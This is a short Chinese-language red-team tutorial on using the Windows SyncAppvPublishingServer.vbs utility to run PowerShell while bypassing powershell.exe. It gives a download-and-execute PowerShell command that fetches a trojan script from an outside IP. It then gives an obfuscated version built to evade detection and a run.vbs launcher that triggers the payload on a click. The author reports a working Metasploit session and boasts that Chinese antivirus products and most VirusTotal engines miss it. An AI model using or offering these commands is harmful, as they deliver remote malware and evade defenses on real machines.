当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 SyncAppvPublishingServer 简介
0x02 SyncAppvPublishingServer 使用
0x03 SyncAppvPublishingServer 执行payload
0x01 SyncAppvPublishingServer 简介
Windows上有两个版本的SyncAppVPublishingServer工具,它们是:SyncAppvPublishingServer.exe、SyncAppvPublishingServer.vbs,可以用他们来取代powershell。
0x02 SyncAppvPublishingServer 使用
在powershell下执行
SyncAppvPublishingServer.vbs break;powershell代码
测试过程中使用的是SyncAppvPublishingServer.vbs,SyncAppvPublishingServer.exe 没有成功
在cmd里是无法执行powershell命令的
该命令需要在powershell里进行执行
因此powershell脚本都可以通过SyncAppvPublishingServer.vbs来运行。
0x03 SyncAppvPublishingServer 执行payload
使用powershell木马。
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
将powershell脚本进行混淆使用IEX远程加载执行payload。
$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.80.xxx/ps/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)
msf可正常上线。
在实战中也可以直接写成vbs脚本 run.vbs
Set oShell=WScript.CreateObject("WScript.Shell")
oShell.run "SyncAppvPublishingServer.vbs ;$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.80.xxx/ps/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
点击run.vbs也可以正常上线。
火绒、360均没有检测出
放在virustotal.com上a.bat查杀率为1/56
参考链接:
Powershell Without Powershell.exe
https://www.youtube.com/watch?v=sema3EYnP2c
虽然我们生活在阴沟里,但依然有人仰望星空!